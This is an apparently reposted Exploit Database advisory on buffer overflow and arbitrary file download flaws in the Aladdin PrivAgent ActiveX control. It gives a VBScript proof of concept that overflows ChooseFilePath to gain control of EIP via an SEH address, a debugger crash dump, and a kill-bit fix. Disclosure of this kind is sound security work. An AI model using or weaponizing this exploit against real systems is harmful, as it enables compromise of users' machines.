Aladdin Knowledge System Ltd. PrivAgent ActiveX Control 2.0 – Multiple Vulnerabilities

Exploit Database
101 阅读

作者： shinnai

日期： 2012-10-26
类别：
- dos
平台：
- windows
来源：https://www.exploit-db.com/exploits/22258/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA1

=============================================================================================

FILE INFO:

=============================================================================================

Aladdin Knowledge System Ltd. PrivAgent ActiveX Control 2.0 Multiple Remote Vulnerabilities

File: PrivAgent.ocx

InternalName: PrivAgentAx

OriginalFilename: PrivAgent.ocx

FileVersion:2.0.0.0

FileDescription:PrivAgent ActiveX Control

Product:Privilege

ProductVersion: 02.0

Debug:False

Patched:False

PreRelease: False

PrivateBuild: True

SpecialBuild: False

Language: English (United States)

MD5 hash: c96dfc282b6bdc177abd076a9bb94933

=============================================================================================

OBJECT SAFETY REPORT:

=============================================================================================

CLSID:{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}

ProgID: PrivAgentAx.PrivAgent.1

Description:PrivAgent Class

RegKey Safe for Script: True

RegKey Safe for Init: True

Implements IObjectSafety: False

=============================================================================================

TESTED ON:

=============================================================================================

Windows XP Professional SP3

Windows 7 Professional SP3

=============================================================================================

DOWNLOADABLE FROM:

=============================================================================================

ftp://ftp.aladdin.com//pub/privilege/activex2002.zip

=============================================================================================

BUG INFO:

=============================================================================================

This ocx seems to be really poor coded. I've found so many errors that I felt too choosy

(yes Mrs. Elsa Fornero, I AM choosy and I AM proud of it) to test any other method.

Below there's a list of stack-based buffer overflow, insecure file download and a proof

of concept which exploits a good old fashioned (or trivial, if you like) stack based

buffer overflow, triggered simply passing to the "ChooseFilePath" method a string longer

than 268 bytes. In this case, after a memory reading exception, we are in full control of

EIP.

Here it is the list of vulnerable methods, guess which ones are vulnerable to arbitrary

file download? :)

Function DownloadLicense (

ByVal sURLAs String ,

ByVal sPathAs String ,

ByVal bInstallAs Boolean

)As Long

Function ChooseFilePath (

ByVal sFileNameAs String

)As String

Function InstallLicense (

ByVal szLicensePathAs String

)As Long

Function InstallPrivilege (

ByVal szInstFilePathAs String

)As Long

Function DownloadPrivilege (

ByVal szURLAs String ,

ByVal szTargetDirAs String ,

ByVal bInstallAs Boolean

)As Long

Function InstallDevExt (

ByVal szDevExtPathAs String

)As Long

Function DownloadDevExt (

ByVal szURLAs String ,

ByVal szTargetPathAs String ,

ByVal bInstallAs Boolean

)As Long

=============================================================================================

PROOF OF CONCEPT:

=============================================================================================

<html>

buffer= String(268, "A")

getEIP= unescape("bbbb")

buffer_2= "CCCCCCCC"

exception = unescape("%5A%0B%02%10") '0x10020B5A pop ESI-pop-ret from PrivAgent.ocx

buffer_3= unescape("EEEE" + String(2712, "F"))

test.ChooseFilePath buffer + getEIP + buffer_2 + exception + buffer_3

</script>

</html>

=============================================================================================

CRASH DUMP:

=============================================================================================

0:005> g

WARNING: Continuing a non-continuable exception

(1138.1304): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000000 ebx=076886d8 ecx=00385f70 edx=086dc628 esi=0253cfa4 edi=0253cd24

eip=62626262 esp=0253cce4 ebp=41414141 iopl=0 nv up ei pl zr na pe nc

cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010246

62626262 ?????

=============================================================================================

FIX:

=============================================================================================

Set kill-bit to stop the activeX control

=============================================================================================

-----BEGIN PGP SIGNATURE-----

Version: GnuPG v1.4.9 (MingW32)

iQIcBAEBAgAGBQJQijFXAAoJEJlK/ai8vywm9ooP/RTuGJMOI+t8SABs9y2BSUR4

oj59/J4zF/Ofw7Id/LN3MHAbqUVXWpUQBtjyjIPPGyAReVacn1lUScVhP11R1bRD

bXbOUw+BU2pfvSmyFaVPQlLe+T6umHaFrEqpbIhgsJSARD8qOQPpd7crywzQXau0

fa/kf/tpK1tJ42A5gnCV7UybRb4mfmwcz46UfZY2mMYDPzBYInqZJ8+cAgaih/1k

bdbti+Cpy9Pj+33I2q1YSnlMGqVjIKqT+FCfdVN1DL03/U/TjAeddcCz6fHxpu+t

nuLWRrAV3CLrSQtYpluBBjASHer5/KzLFZBPZ8MOi97wA+C2oiOnMPbkNDQfjBn2

EzXnKn1hKNI20WBb48j3oqohQYAFksOu9MErWLekF/tvVkhywtM1qQFRrQrqLf5c

xJl0DnbM4RiCOmOiAVYRAwTGhYnSsLUYrytO38JINS3TcdyeoZJrNHXcCzZrJJkl

xmZ8Yqmq3xmEkPQ6YcEybJrzL9j1cFo4wJEkuggr9kEpgbg34N6oQn631QirEdN2

WUo9w02Rk4W5Jh637DojUjOru2aBA1aGxM92Db1X445dt+VdYhOUUdQVQC+X9xJm

o0g8NWQSJtGQgTY/u/ZH8fpAcsGcij23Ktq+gc1ma0Sc5U89b64ny2YFsjWxmhcm

NH/Cs44PsO755FWU917q

=WA+e

-----END PGP SIGNATURE-----